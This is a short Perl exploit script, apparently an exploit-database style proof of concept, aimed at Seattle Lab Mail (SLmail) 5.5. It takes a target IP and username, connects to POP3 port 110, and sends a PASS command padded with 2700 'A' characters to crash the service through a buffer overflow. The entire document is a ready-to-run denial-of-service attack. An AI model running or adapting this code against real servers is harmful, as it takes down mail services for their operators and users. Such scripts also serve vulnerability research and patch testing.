use IO::Socket;

sub intro {
    print "***************************************************\n";
    print "*          Seattle Lab Mail (SLmail) 5.5          *\n";
    print "*                                                 *\n";    
    print "*             Coded By Fernando Mengali           *\n";
    print "*                                                 *\n";
    print "*       POP3 'PASS' Denied of Service - DoS       *\n";
    print "*                                                 *\n";
    print "***************************************************\n";
}

intro();


    if (!$ARGV[0] && !$ARGV[1]) {
        print "\nUsage: $0 <ip> <username>\n";
        exit(0);
    }

my $host = $ARGV[0];
my $username = $ARGV[1];


my $port = 110;
my $payload  = "A" x 2700;


    my $s = IO::Socket::INET->new(
        PeerAddr => $host,
        PeerPort => $port,
        Proto    => 'tcp'
    ) or die "Unable to connect: $!\n";

    $s->recv(my $data, 1024);    # Grab banners (if any)
    $s->send('USER ' . $username . "\r\n");
    $s->recv(my $response, 1024);
    $s->recv(my $data, 1024);    # Grab banners (if any)
    $s->send('PASS ' . $payload . "\r\n");
    $s->recv(my $response, 1024);    
    $s->send("QUIT\r\n");
    $s->close();